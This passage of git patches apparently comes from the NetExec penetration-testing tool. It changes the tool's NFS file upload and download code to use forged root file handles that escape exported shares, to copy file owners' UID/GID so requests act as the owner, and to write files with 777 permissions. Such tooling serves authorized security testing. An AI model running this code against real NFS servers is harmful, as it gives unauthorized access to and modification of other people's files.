- remote_file_path += "/" - self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}") try: # Connect to NFS @@ -414,22 +428,49 @@ def put_file(self): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share to create the file - mnt_info = self.mount.mnt(remote_file_path, self.auth) - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] + + # Iterate over the path + curr_fh = mount_fh + for sub_path in remote_dir_path.lstrip("/").split("/"): + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + # If the path does not exist, create it + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.display(f"Creating directory '/{sub_path}/'") + res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}") + return + else: + curr_fh = res["resok"]["obj"]["handle"]["data"] + continue + + curr_fh = res["resok"]["object"]["data"] # Update the UID from the directory - attrs = self.nfs3.getattr(dir_handle, auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] + self.update_auth(curr_fh) # Checking if file_name already exists on remote file path - lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) + lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth) # If success, file_name does not exist on remote machine. Else, trying to overwrite it. if lookup_response["resok"] is None: # Create file self.logger.display(f"Trying to create {remote_file_path}{file_name}") - res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth) + res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth) if res["status"] != 0: raise Exception(NFSSTAT3[res["status"]]) else: @@ -441,9 +482,6 @@ def put_file(self): if ans.lower() in ["y", "yes", ""]: self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] - else: - self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}") - return try: with open(local_file_path, "rb") as file: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 4c640f219..abdba2fdc 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -4,9 +4,9 @@ def proto_args(parser, parents): nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)") dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") - dgroup.add_argument("--share", help="Specify a share, e.g. for --ls") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From 13a66535038cc26c12e6a836764469425acd8c93 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 18:45:36 -0500 Subject: [PATCH 10/12] Remove unused import --- nxc/protocols/nfs.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index c17f0260b..d8d9ea381 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -14,7 +14,6 @@ ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, - MNT3ERR_ACCES, NFSSTAT3, NFS3ERR_NOENT, NF3REG, From 5f533f2c8ff8316e260779714d10417dac97eeab Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 10:07:30 -0500 Subject: [PATCH 11/12] More UID/GID updates and clean up --- nxc/protocols/nfs.py | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d8d9ea381..17327c621 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -378,6 +378,9 @@ def get_file(self): if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: break + # Update the UID and GID for the file + self.update_auth(curr_fh) + # Handle files over the default chunk size of 1024 * 1024 offset = 0 eof = False @@ -459,7 +462,7 @@ def put_file(self): curr_fh = res["resok"]["object"]["data"] - # Update the UID from the directory + # Update the UID and GID from the directory self.update_auth(curr_fh) # Checking if file_name already exists on remote file path @@ -474,6 +477,7 @@ def put_file(self): raise Exception(NFSSTAT3[res["status"]]) else: file_handle = res["resok"]["obj"]["handle"]["data"] + self.update_auth(file_handle) self.logger.success(f"{file_name} successfully created") else: # Asking the user if they want to overwrite the file @@ -482,14 +486,21 @@ def put_file(self): self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] + # Update the UID and GID for the file + self.update_auth(file_handle) + try: with open(local_file_path, "rb") as file: file_data = file.read().decode() # Write the data to the remote file self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}") - self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) - self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}") + res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}") + return + else: + self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777") except Exception as e: self.logger.fail(f"Could not write to {local_file_path}: {e}") @@ -549,13 +560,13 @@ def get_root_handles(self, mount_fh): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 return root_handles From 9e44b7f1ed652e63320c23ae593328dc878edd5b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 10:11:04 -0500 Subject: [PATCH 12/12] Better english --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 17327c621..caef674df 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -403,7 +403,7 @@ def get_file(self): # Write the file data to the local file local_file.write(data) - self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}") + self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}") # Unmount the share self.mount.umnt(self.auth)